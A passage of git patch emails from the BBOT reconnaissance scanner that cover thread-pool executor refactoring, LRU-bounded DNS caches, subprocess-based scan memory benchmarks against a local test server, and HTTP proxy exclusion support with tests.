os.cpu_count() or 4)) + self._loop.set_default_executor(self._io_executor) return self._loop - def run_in_executor(self, callback, *args, **kwargs): + def run_in_executor_io(self, callback, *args, **kwargs): """ Run a synchronous task in the event loop's default thread pool executor Examples: Execute callback: - >>> result = await self.helpers.run_in_executor(callback_fn, arg1, arg2) + >>> result = await self.helpers.run_in_executor_io(callback_fn, arg1, arg2) """ callback = partial(callback, **kwargs) - return self.loop.run_in_executor(None, callback, *args) + return self.loop.run_in_executor(self._io_executor, callback, *args) def run_in_executor_cpu(self, callback, *args, **kwargs): """ @@ -241,7 +241,7 @@ def run_in_executor_cpu(self, callback, *args, **kwargs): def run_in_executor_mp(self, callback, *args, **kwargs): """ - Same as run_in_executor() except with a process pool executor + Same as run_in_executor_io() except with a process pool executor Use only in cases where callback is CPU-bound Examples: diff --git a/bbot/core/helpers/web/web.py b/bbot/core/helpers/web/web.py index b1a9d243ae..85951cddcb 100644 --- a/bbot/core/helpers/web/web.py +++ b/bbot/core/helpers/web/web.py @@ -267,7 +267,7 @@ async def request(self, *args, **kwargs): log.trace(f"blasthttp request: {method} {url}") # Run in executor — blasthttp blocks the thread (tokio runtime) - blast_response = await self.parent_helper.run_in_executor(self.client.request, url, **blast_kwargs) + blast_response = await self.parent_helper.run_in_executor_io(self.client.request, url, **blast_kwargs) response = BlasthttpResponse(blast_response, request_url=url, method=method) diff --git a/bbot/modules/http.py b/bbot/modules/http.py index e075570a43..9a42d50e43 100644 --- a/bbot/modules/http.py +++ b/bbot/modules/http.py @@ -213,7 +213,7 @@ async def handle_batch(self, *events): configs.append(config) # Run batch in executor to avoid blocking the event loop - results = await self.helpers.run_in_executor(self.client.request_batch, configs, self.threads) + results = await self.helpers.run_in_executor_io(self.client.request_batch, configs, self.threads) # Index results by URL for the dedup check results_by_url = {r.url: r for r in results} diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py index 6063a3be33..59083b7d34 100644 --- a/bbot/modules/wafw00f.py +++ b/bbot/modules/wafw00f.py @@ -41,8 +41,8 @@ def _incoming_dedup_hash(self, event): async def handle_event(self, event): url = f"{event.parsed_url.scheme}://{event.parsed_url.netloc}/" - WW = await self.helpers.run_in_executor(wafw00f_main.WAFW00F, url, followredirect=False) - waf_detections, url = await self.helpers.run_in_executor(WW.identwaf) + WW = await self.helpers.run_in_executor_io(wafw00f_main.WAFW00F, url, followredirect=False) + waf_detections, url = await self.helpers.run_in_executor_io(WW.identwaf) if waf_detections: for waf in waf_detections: await self.emit_event( @@ -53,7 +53,7 @@ async def handle_event(self, event): ) else: if self.config.get("generic_detect") is True: - generic = await self.helpers.run_in_executor(WW.genericdetect) + generic = await self.helpers.run_in_executor_io(WW.genericdetect) if generic: waf = "generic detection" await self.emit_event( diff --git a/bbot/modules/web_brute.py b/bbot/modules/web_brute.py index 58c5b012d8..e600d2eefc 100644 --- a/bbot/modules/web_brute.py +++ b/bbot/modules/web_brute.py @@ -180,7 +180,7 @@ async def baseline_fuzz(self, url, exts=None, prefix="", suffix=""): ) canary_results = [] - results = await self.helpers.run_in_executor( + results = await self.helpers.run_in_executor_io( self.blast_client.request_batch, canary_configs, 4, rate_limit=self.rate ) for result in results: @@ -306,7 +306,7 @@ async def execute_fuzz( self.debug(f"Fuzzing {len(configs)} URLs for ext [{ext}]") # Fire all requests via native blasthttp batch (Rust concurrency) - results = await self.helpers.run_in_executor( + results = await self.helpers.run_in_executor_io( self.blast_client.request_batch, configs, self.concurrency, rate_limit=self.rate ) @@ -367,7 +367,7 @@ async def execute_fuzz( proxy=proxy, ) ] - canary_batch = await self.helpers.run_in_executor( + canary_batch = await self.helpers.run_in_executor_io( self.blast_client.request_batch, canary_configs, 1, rate_limit=self.rate ) if canary_batch and canary_batch[0].success: diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 6d5089765e..6a5e749022 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -776,6 +776,10 @@ def modules_status(self, _log=False, detailed=False): f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" ) + io_backlog = self.helpers._io_executor._work_queue.qsize() + cpu_backlog = self.helpers._cpu_executor._work_queue.qsize() + self.info(f"{self.name}: Thread pool backlog: I/O: {io_backlog:,}, CPU: {cpu_backlog:,}") + if detailed or self.log_level <= logging.DEBUG: # status debugging scan_active_status = [] From f96e3d1aa97c36c7db5f677f9870254462fde8ca Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 30 Mar 2026 13:56:16 -0400 Subject: [PATCH 422/912] Merge thread pool backlog into events-in-queue status line --- bbot/scanner/scanner.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index 6a5e749022..43144154e9 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -767,19 +767,17 @@ def modules_status(self, _log=False, detailed=False): ) num_queued_events = self.num_queued_events + io_backlog = self.helpers._io_executor._work_queue.qsize() + cpu_backlog = self.helpers._cpu_executor._work_queue.qsize() if num_queued_events: self.info( - f"{self.name}: {num_queued_events:,} events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" + f"{self.name}: {num_queued_events:,} events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds) | Thread pool backlog: I/O: {io_backlog:,}, CPU: {cpu_backlog:,}" ) else: self.info( - f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds)" + f"{self.name}: No events in queue ({self.stats.speedometer.speed:,} processed in the past {self.status_frequency} seconds) | Thread pool backlog: I/O: {io_backlog:,}, CPU: {cpu_backlog:,}" ) - io_backlog = self.helpers._io_executor._work_queue.qsize() - cpu_backlog = self.helpers._cpu_executor._work_queue.qsize() - self.info(f"{self.name}: Thread pool backlog: I/O: {io_backlog:,}, CPU: {cpu_backlog:,}") - if detailed or self.log_level <= logging.DEBUG: # status debugging scan_active_status = [] From e77103672767367491d6ba5155661dd19fc30782 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Mon, 30 Mar 2026 21:32:16 -0400 Subject: [PATCH 423/912] Bound DNS engine caches with LRU eviction to prevent unbounded memory growth Replace unbounded dict/set caches (_wildcard_cache, _errors, _dns_warnings) with LRUCache, and increase _dns_cache from 10K to 100K entries. --- bbot/core/helpers/dns/engine.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/bbot/core/helpers/dns/engine.py b/bbot/core/helpers/dns/engine.py index 1c98f9a9e3..d2e56dc207 100644 --- a/bbot/core/helpers/dns/engine.py +++ b/bbot/core/helpers/dns/engine.py @@ -72,7 +72,7 @@ def __init__(self, socket_path, config={}, debug=False): self.wildcard_ignore = [] self.wildcard_ignore = tuple([str(d).strip().lower() for d in self.wildcard_ignore]) self.wildcard_tests = self.dns_config.get("wildcard_tests", 5) - self._wildcard_cache = {} + self._wildcard_cache = LRUCache(maxsize=10000) # since wildcard detection takes some time, This is to prevent multiple # modules from kicking off wildcard detection for the same domain at the same time self._wildcard_lock = NamedLock() @@ -81,10 +81,10 @@ def __init__(self, socket_path, config={}, debug=False): self._last_dns_success = None self._last_connectivity_warning = time.time() # keeps track of warnings issued for wildcard detection to prevent duplicate warnings - self._dns_warnings = set() - self._errors = {} + self._dns_warnings = LRUCache(maxsize=10000) + self._errors = LRUCache(maxsize=10000) self._debug = self.dns_config.get("debug", False) - self._dns_cache = LRUCache(maxsize=10000) + self._dns_cache = LRUCache(maxsize=100000) async def resolve(self, query, **kwargs): """Resolve DNS names and IP addresses to their corresponding results. @@ -221,7 +221,7 @@ async def _resolve_hostname(self, query, **kwargs): self.log.verbose( f'Aborting future {rdtype} queries to "{parent}" because error count ({error_count:,}) exceeded abort threshold ({self.abort_threshold:,})' ) - self._dns_warnings.add(parent_hash) + self._dns_warnings[parent_hash] = True return results, errors results = await self._catch(self.resolver.resolve, query, **kwargs) if use_cache: From cb5940b0eeb7a0ff8a425146a1ac8433d470f8d3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 09:52:20 -0400 Subject: [PATCH 424/912] Add scan memory benchmarks and MB support in benchmark report --- bbot/scripts/benchmark_report.py | 15 ++- bbot/test/benchmarks/test_scan_memory.py | 162 +++++++++++++++++++++++ 2 files changed, 174 insertions(+), 3 deletions(-) create mode 100644 bbot/test/benchmarks/test_scan_memory.py diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 675c99bc64..12a1d23f86 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -245,10 +245,16 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc else: base_ops = 1 / base_mean # Default: single operation - # Use per-event memory if available, otherwise use time + # Use memory metrics if available, otherwise use time + current_mb = current_extra.get("total_memory_mb") + base_mb = base_extra.get("total_memory_mb") current_peb = current_extra.get("per_event_bytes") base_peb = base_extra.get("per_event_bytes") - if current_peb is not None and base_peb is not None: + if current_mb is not None and base_mb is not None and current_peb is None: + change_percent, emoji = calculate_change_percentage(base_mb, current_mb) + base_label = f"{base_mb:.1f} MB" + current_label = f"{current_mb:.1f} MB" + elif current_peb is not None and base_peb is not None: change_percent, emoji = calculate_change_percentage(base_peb, current_peb) base_label = f"{base_peb:.0f} B/event" current_label = f"{current_peb:.0f} B/event" @@ -269,7 +275,10 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc # Track significant changes if abs(change_percent) > 10: - is_memory = current_extra.get("per_event_bytes") is not None + is_memory = ( + current_extra.get("per_event_bytes") is not None + or current_extra.get("total_memory_mb") is not None + ) if is_memory: direction = "🐌 more memory" if change_percent > 0 else "🚀 less memory" else: diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py new file mode 100644 index 0000000000..c25864fc4b --- /dev/null +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -0,0 +1,162 @@ +""" +Memory benchmarks for BBOT scan patterns. + +Runs real scans against a local HTTP server and measures peak traced +memory via tracemalloc. The key metric is `total_memory_mb` in extra_info, +which the benchmark report script picks up and displays as MB. +""" + +import gc +import asyncio +import threading +import tracemalloc +from http.server import HTTPServer, BaseHTTPRequestHandler + +import pytest + +from bbot.scanner import Scanner + + +NUM_PAGES = 500 +BODY_SIZE = 500_000 # 500 KB per page + + +class _BenchmarkHTTPHandler(BaseHTTPRequestHandler): + """Serves an index page linking to sub-pages with large bodies.""" + + def do_GET(self): + if self.path == "/": + links = "".join(f'page{i}\n' for i in range(NUM_PAGES)) + body = f"{links}" + elif self.path.startswith("/page"): + i = self.path.replace("/page", "") + links = f'infodetails' + body = f"

    Page {i}

    {links}{'A' * BODY_SIZE}" + elif self.path.startswith("/data"): + body = "data endpoint" + else: + self.send_response(404) + self.end_headers() + return + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(body.encode()) + + def log_message(self, *args): + pass + + +def _start_server(): + server = HTTPServer(("127.0.0.1", 0), _BenchmarkHTTPHandler) + port = server.server_address[1] + threading.Thread(target=server.serve_forever, daemon=True).start() + return server, port + + +def _measure_peak(coro_func): + """Run an async scan under tracemalloc and return peak memory in MB.""" + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + asyncio.run(coro_func()) + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + return round(peak / 1024 / 1024, 2) + + +# --------------------------------------------------------------------------- +# 1) Web crawl — httpx visits many pages, excavate processes bodies +# --------------------------------------------------------------------------- + + +async def _web_crawl_scan(): + server, port = _start_server() + try: + scan = Scanner( + f"http://127.0.0.1:{port}/", + modules=["httpx"], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, + "speculate": True, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + "modules": {"httpx": {"batch_size": 25}}, + }, + force_start=True, + ) + events = [] + async for event in scan.async_start(): + events.append(event) + finally: + server.shutdown() + + +class TestWebCrawlMemory: + """Measures peak memory during a realistic web crawl with large pages.""" + + @pytest.mark.benchmark(group="memory_scan_patterns") + def test_web_crawl(self, benchmark): + peak_mb = _measure_peak(_web_crawl_scan) + benchmark.extra_info["total_memory_mb"] = peak_mb + benchmark.extra_info["num_pages"] = NUM_PAGES + benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) + + +# --------------------------------------------------------------------------- +# 2) Subdomain enum — many DNS_NAME events, no heavy bodies +# --------------------------------------------------------------------------- + +SUBDOMAIN_ENUM_COUNT = 5000 + + +async def _subdomain_enum_scan(): + scan = Scanner( + "blacklanternsecurity.com", + modules=[], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 0, "spider_depth": 0}, + "speculate": False, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + }, + force_start=True, + ) + events = [] + injected = False + + async for event in scan.async_start(): + events.append(event) + if event.type == "SCAN" and not injected: + injected = True + root_event = scan.root_event + for i in range(SUBDOMAIN_ENUM_COUNT): + dns_event = scan.make_event( + f"sub{i}.blacklanternsecurity.com", + "DNS_NAME", + parent=root_event, + context=f"benchmark DNS_NAME {i}", + ) + await scan.ingress_module.queue_event(dns_event, {}) + + return events + + +class TestSubdomainEnumMemory: + """Measures peak memory during a large subdomain enumeration.""" + + @pytest.mark.benchmark(group="memory_scan_patterns") + def test_subdomain_enum(self, benchmark): + peak_mb = _measure_peak(_subdomain_enum_scan) + benchmark.extra_info["total_memory_mb"] = peak_mb + benchmark.extra_info["num_subdomains"] = SUBDOMAIN_ENUM_COUNT + benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) From 15a68e3d58ce37ed967a30f940e69afe01e45646 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 11:34:11 -0400 Subject: [PATCH 425/912] Fix scan memory benchmarks to exclude Scanner init from tracemalloc Scanner construction allocates 400+ MB in pytest (presets, module loading, etc.) which was setting the tracemalloc peak before any scan events existed, masking real differences between branches. Split scanner init out of the tracemalloc window so we measure only scan execution memory. Also separate "new tests" from "significant changes" in benchmark report output. --- bbot/scripts/benchmark_report.py | 12 +++- bbot/test/benchmarks/test_scan_memory.py | 84 ++++++++++++++---------- 2 files changed, 60 insertions(+), 36 deletions(-) diff --git a/bbot/scripts/benchmark_report.py b/bbot/scripts/benchmark_report.py index 12a1d23f86..50ca6f3384 100644 --- a/bbot/scripts/benchmark_report.py +++ b/bbot/scripts/benchmark_report.py @@ -180,6 +180,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc |--------------|---------|------------|-----------|-----------|""" significant_changes = [] + new_tests = [] performance_summary = [] for current_bench in current_benchmarks: @@ -304,9 +305,7 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc else: table += f"\n| **{test_name}** | `-` | `{format_time(current_mean)}` | **New** 🆕 | 🆕 |" - significant_changes.append( - f"- **{test_name}**: New test 🆕 ({format_time(current_mean)}, {format_ops(current_ops)})" - ) + new_tests.append(f"- **{test_name}**: {format_time(current_mean)}, {format_ops(current_ops)}") table += "\n\n\n\n" @@ -332,6 +331,13 @@ def generate_comparison_table(current_data: Dict, base_data: Dict, current_branc table += f"{change}\n" table += "\n" + # Add new tests section + if new_tests: + table += "### 🆕 New Tests\n\n" + for new_test in new_tests: + table += f"{new_test}\n" + table += "\n" + return table diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py index c25864fc4b..a7e4653d64 100644 --- a/bbot/test/benchmarks/test_scan_memory.py +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -4,6 +4,11 @@ Runs real scans against a local HTTP server and measures peak traced memory via tracemalloc. The key metric is `total_memory_mb` in extra_info, which the benchmark report script picks up and displays as MB. + +Scanner construction is done outside the tracemalloc window because it +pulls in presets, module loading, and other heavy one-time setup that can +exceed 400 MB in a pytest process -- far more than the actual scan -- and +would set the tracemalloc peak before a single event is created. """ import gc @@ -54,47 +59,56 @@ def _start_server(): return server, port -def _measure_peak(coro_func): - """Run an async scan under tracemalloc and return peak memory in MB.""" +def _measure_peak(scan_factory, run_scan): + """Build the scanner untraced, then measure only scan execution memory.""" + # Phase 1: build the scanner (untraced) + scan, cleanup = scan_factory() + + # Phase 2: trace only the scan execution gc.collect() if tracemalloc.is_tracing(): tracemalloc.stop() tracemalloc.start() - asyncio.run(coro_func()) - _, peak = tracemalloc.get_traced_memory() - tracemalloc.stop() + try: + asyncio.run(run_scan(scan)) + finally: + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + if cleanup: + cleanup() return round(peak / 1024 / 1024, 2) # --------------------------------------------------------------------------- -# 1) Web crawl — httpx visits many pages, excavate processes bodies +# 1) Web crawl -- httpx visits many pages, excavate processes bodies # --------------------------------------------------------------------------- -async def _web_crawl_scan(): +def _web_crawl_factory(): server, port = _start_server() - try: - scan = Scanner( - f"http://127.0.0.1:{port}/", - modules=["httpx"], - output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, - "speculate": True, - "excavate": True, - "aggregate": False, - "cloudcheck": False, - "modules": {"httpx": {"batch_size": 25}}, - }, - force_start=True, - ) - events = [] - async for event in scan.async_start(): - events.append(event) - finally: - server.shutdown() + scan = Scanner( + f"http://127.0.0.1:{port}/", + modules=["httpx"], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, + "speculate": True, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + "modules": {"httpx": {"batch_size": 25}}, + }, + force_start=True, + ) + return scan, server.shutdown + + +async def _web_crawl_run(scan): + events = [] + async for event in scan.async_start(): + events.append(event) class TestWebCrawlMemory: @@ -102,20 +116,20 @@ class TestWebCrawlMemory: @pytest.mark.benchmark(group="memory_scan_patterns") def test_web_crawl(self, benchmark): - peak_mb = _measure_peak(_web_crawl_scan) + peak_mb = _measure_peak(_web_crawl_factory, _web_crawl_run) benchmark.extra_info["total_memory_mb"] = peak_mb benchmark.extra_info["num_pages"] = NUM_PAGES benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) # --------------------------------------------------------------------------- -# 2) Subdomain enum — many DNS_NAME events, no heavy bodies +# 2) Subdomain enum -- many DNS_NAME events, no heavy bodies # --------------------------------------------------------------------------- SUBDOMAIN_ENUM_COUNT = 5000 -async def _subdomain_enum_scan(): +def _subdomain_enum_factory(): scan = Scanner( "blacklanternsecurity.com", modules=[], @@ -131,6 +145,10 @@ async def _subdomain_enum_scan(): }, force_start=True, ) + return scan, None + + +async def _subdomain_enum_run(scan): events = [] injected = False @@ -156,7 +174,7 @@ class TestSubdomainEnumMemory: @pytest.mark.benchmark(group="memory_scan_patterns") def test_subdomain_enum(self, benchmark): - peak_mb = _measure_peak(_subdomain_enum_scan) + peak_mb = _measure_peak(_subdomain_enum_factory, _subdomain_enum_run) benchmark.extra_info["total_memory_mb"] = peak_mb benchmark.extra_info["num_subdomains"] = SUBDOMAIN_ENUM_COUNT benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) From ae864c62db3ae200565a5b8e490a8b8d9d88a024 Mon Sep 17 00:00:00 2001 From: Volodymyr Stoiko Date: Tue, 31 Mar 2026 18:38:16 +0300 Subject: [PATCH 426/912] Add option to exclude hosts/CIDRs from HTTP proxy Use radixtarget library for proxy exclusion lookups, consistent with how targets and blacklists are handled. Supports hostnames, IPs, CIDRs, and NO_PROXY conventions (*.domain, .domain, wildcard *). - Add http_proxy_exclude config and --no-proxy CLI arg - Export NO_PROXY environment variable for external tools - Add tests for proxy exclusion and passthrough behavior --- bbot/core/helpers/web/engine.py | 67 ++++++++++++++++++++++++++++++- bbot/defaults.yml | 3 ++ bbot/scanner/preset/args.py | 10 +++++ bbot/scanner/preset/environ.py | 7 ++++ bbot/scanner/scanner.py | 1 + bbot/test/test_step_1/test_web.py | 64 +++++++++++++++++++++++++++++ 6 files changed, 150 insertions(+), 2 deletions(-) diff --git a/bbot/core/helpers/web/engine.py b/bbot/core/helpers/web/engine.py index 1c3ecc0f52..279ff8773d 100644 --- a/bbot/core/helpers/web/engine.py +++ b/bbot/core/helpers/web/engine.py @@ -4,8 +4,10 @@ import asyncio import logging import traceback +from urllib.parse import urlparse from socksio.exceptions import SOCKSError from contextlib import asynccontextmanager +from radixtarget import RadixTarget from bbot.core.engine import EngineServer from bbot.core.helpers.misc import bytes_to_human, human_to_bytes, get_exception_chain, truncate_string @@ -36,6 +38,32 @@ def __init__(self, socket_path, target, config={}, debug=False): self.web_clients = {} self.web_client = self.AsyncClient(persist_cookies=False) + # proxy exclusion support + self.has_proxy = bool(self.web_config.get("http_proxy", "")) + proxy_exclusions = self.web_config.get("http_proxy_exclude", []) + self.noproxy_web_clients = {} + self.proxy_bypass_all = False + if self.has_proxy and proxy_exclusions: + normalized = [] + for pattern in proxy_exclusions: + pattern = str(pattern).strip() + if pattern == "*": + self.proxy_bypass_all = True + break + # normalize NO_PROXY conventions for radixtarget + # ".example.com" and "*.example.com" both mean "example.com + subdomains" + if pattern.startswith("*."): + pattern = pattern[2:] + elif pattern.startswith("."): + pattern = pattern[1:] + if pattern: + normalized.append(pattern) + self.proxy_exclusion_target = RadixTarget(*normalized) if normalized else RadixTarget() + self.noproxy_web_client = self._AsyncClient_noproxy(persist_cookies=False) + else: + self.proxy_exclusion_target = RadixTarget() + self.noproxy_web_client = None + def AsyncClient(self, *args, **kwargs): # cache by retries to prevent unwanted accumulation of clients # (they are not garbage-collected) @@ -49,12 +77,44 @@ def AsyncClient(self, *args, **kwargs): self.web_clients[client.retries] = client return client + def _AsyncClient_noproxy(self, *args, **kwargs): + """Create/cache a BBOTAsyncClient with proxy disabled, for excluded hosts.""" + retries = kwargs.get("retries", 1) + try: + return self.noproxy_web_clients[retries] + except KeyError: + from .client import BBOTAsyncClient + + noproxy_config = dict(self.config) + noproxy_web = dict(noproxy_config.get("web", {})) + noproxy_web["http_proxy"] = None + noproxy_config["web"] = noproxy_web + client = BBOTAsyncClient.from_config(noproxy_config, self.target, *args, **kwargs) + self.noproxy_web_clients[client.retries] = client + return client + + def _get_client_for_url(self, url, client=None): + """Return the appropriate client based on proxy exclusion rules. + + If no explicit client is provided and the URL matches an exclusion pattern, + returns the no-proxy client. Otherwise returns the given client or default. + """ + if client is not None: + return client + if self.noproxy_web_client is not None and url: + if self.proxy_bypass_all: + return self.noproxy_web_client + hostname = urlparse(str(url)).hostname + if hostname and self.proxy_exclusion_target.get(hostname): + return self.noproxy_web_client + return self.web_client + async def request(self, *args, **kwargs): raise_error = kwargs.pop("raise_error", False) # TODO: use this cache_for = kwargs.pop("cache_for", None) # noqa - client = kwargs.get("client", self.web_client) + explicit_client = kwargs.pop("client", None) # allow vs follow, httpx why?? allow_redirects = kwargs.pop("allow_redirects", None) @@ -79,6 +139,8 @@ async def request(self, *args, **kwargs): if client_kwargs: client = self.AsyncClient(**client_kwargs) + else: + client = self._get_client_for_url(url, explicit_client) try: async with self._acatch(url, raise_error): @@ -144,7 +206,8 @@ async def stream_request(self, url, **kwargs): chunk_size = 8192 chunks = [] - async with self._acatch(url, raise_error=True), self.web_client.stream(url=url, **kwargs) as response: + stream_client = self._get_client_for_url(url) + async with self._acatch(url, raise_error=True), stream_client.stream(url=url, **kwargs) as response: agen = response.aiter_bytes(chunk_size=chunk_size) async for chunk in agen: _chunk_size = len(chunk) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index fa3727b1b4..caa1a505e5 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -84,6 +84,9 @@ dns: web: # HTTP proxy http_proxy: + # Hosts/CIDRs to exclude from HTTP proxy (NO_PROXY equivalent) + # Examples: ["localhost", "*.internal.corp", "10.0.0.0/8", "elastic.mycompany.com"] + http_proxy_exclude: [] # Web user-agent user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.2151.97 # Suffix to append to user-agent (e.g. for tracking or identification) diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index ffda0de2a5..9813735697 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -177,6 +177,9 @@ def preset_from_args(self): if self.parsed.proxy: args_preset.core.merge_custom({"web": {"http_proxy": self.parsed.proxy}}) + if self.parsed.no_proxy: + args_preset.core.merge_custom({"web": {"http_proxy_exclude": self.parsed.no_proxy}}) + if self.parsed.custom_headers: args_preset.core.merge_custom({"web": {"http_headers": self.parsed.custom_headers}}) @@ -372,6 +375,13 @@ def create_parser(self, *args, **kwargs): misc = p.add_argument_group(title="Misc") misc.add_argument("--version", action="store_true", help="show BBOT version and exit") misc.add_argument("--proxy", help="Use this proxy for all HTTP requests", metavar="HTTP_PROXY") + misc.add_argument( + "--no-proxy", + nargs="+", + default=[], + help="Exclude these hosts from proxy (e.g. localhost *.internal.corp 10.0.0.0/8)", + metavar="HOST", + ) misc.add_argument( "-H", "--custom-headers", diff --git a/bbot/scanner/preset/environ.py b/bbot/scanner/preset/environ.py index a222dd1bb3..2a833d0097 100644 --- a/bbot/scanner/preset/environ.py +++ b/bbot/scanner/preset/environ.py @@ -125,6 +125,13 @@ def prepare(self): environ.pop("HTTP_PROXY", None) environ.pop("HTTPS_PROXY", None) + # handle proxy exclusions (NO_PROXY) + http_proxy_exclude = self.preset.config.get("web", {}).get("http_proxy_exclude", []) + if http_proxy_exclude: + environ["NO_PROXY"] = ",".join(str(x) for x in http_proxy_exclude) + else: + environ.pop("NO_PROXY", None) + # ssl verification import urllib3 diff --git a/bbot/scanner/scanner.py b/bbot/scanner/scanner.py index b2883cded6..505d4e6311 100644 --- a/bbot/scanner/scanner.py +++ b/bbot/scanner/scanner.py @@ -232,6 +232,7 @@ def __init__( max_redirects = web_config.get("http_max_redirects", 5) self.web_max_redirects = max(max_redirects, self.web_spider_distance) self.http_proxy = web_config.get("http_proxy", "") + self.http_proxy_exclude = web_config.get("http_proxy_exclude", []) self.http_timeout = web_config.get("http_timeout", 10) self.httpx_timeout = web_config.get("httpx_timeout", 5) self.http_retries = web_config.get("http_retries", 1) diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index fbaf6f6f97..357c7f9a0b 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -425,6 +425,70 @@ async def test_http_proxy(bbot_scanner, bbot_httpserver, proxy_server): await scan._cleanup() +@pytest.mark.asyncio +async def test_http_proxy_exclude(bbot_scanner, bbot_httpserver, proxy_server): + """Verify that requests to excluded hosts bypass the proxy.""" + endpoint = "/test_http_proxy_exclude" + url = bbot_httpserver.url_for(endpoint) + bbot_httpserver.expect_request(uri=endpoint).respond_with_data("proxy_exclude_works") + + proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}" + # Exclude 127.0.0.1 from proxy + scan = bbot_scanner( + "127.0.0.1", + config={ + "web": { + "http_proxy": proxy_address, + "http_proxy_exclude": ["127.0.0.1"], + } + }, + ) + + await scan._prep() + + proxy_server.RequestHandlerClass.urls.clear() + r = await scan.helpers.request(url) + + # Request should NOT go through proxy + assert len(proxy_server.RequestHandlerClass.urls) == 0, "Request should have bypassed proxy but went through it" + assert r.status_code == 200 and r.text == "proxy_exclude_works" + + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_http_proxy_exclude_passthrough(bbot_scanner, bbot_httpserver, proxy_server): + """Verify that non-excluded hosts still go through the proxy.""" + endpoint = "/test_proxy_passthrough" + url = bbot_httpserver.url_for(endpoint) + bbot_httpserver.expect_request(uri=endpoint).respond_with_data("passthrough_works") + + proxy_address = f"http://127.0.0.1:{proxy_server.server_address[1]}" + # Exclude a different host, not the one we're requesting + scan = bbot_scanner( + "127.0.0.1", + config={ + "web": { + "http_proxy": proxy_address, + "http_proxy_exclude": ["10.0.0.0/8"], + } + }, + ) + + await scan._prep() + + proxy_server.RequestHandlerClass.urls.clear() + r = await scan.helpers.request(url) + + # Request SHOULD go through proxy (127.0.0.1 not in exclusion list) + assert len(proxy_server.RequestHandlerClass.urls) == 1, ( + f"Request to {url} should have gone through proxy but didn't" + ) + assert r.status_code == 200 and r.text == "passthrough_works" + + await scan._cleanup() + + @pytest.mark.asyncio async def test_http_ssl(bbot_scanner, bbot_httpserver_ssl): endpoint = "/test_http_ssl" From 590e979bbb2b618cac749e6f51adcdced797a199 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 15:01:25 -0400 Subject: [PATCH 427/912] Run scan memory benchmarks as subprocesses for clean tracemalloc pytest's own allocations (~200 MB) contaminate tracemalloc peak measurements when scans run in-process, masking real differences between branches. Run each benchmark scan as a subprocess instead so measurements reflect only the scan's own memory use. Also rename tests to test_memory_use_* for clarity. --- bbot/test/benchmarks/test_scan_memory.py | 205 +++++++++++------------ 1 file changed, 99 insertions(+), 106 deletions(-) diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py index a7e4653d64..82c236edff 100644 --- a/bbot/test/benchmarks/test_scan_memory.py +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -1,122 +1,111 @@ """ Memory benchmarks for BBOT scan patterns. -Runs real scans against a local HTTP server and measures peak traced 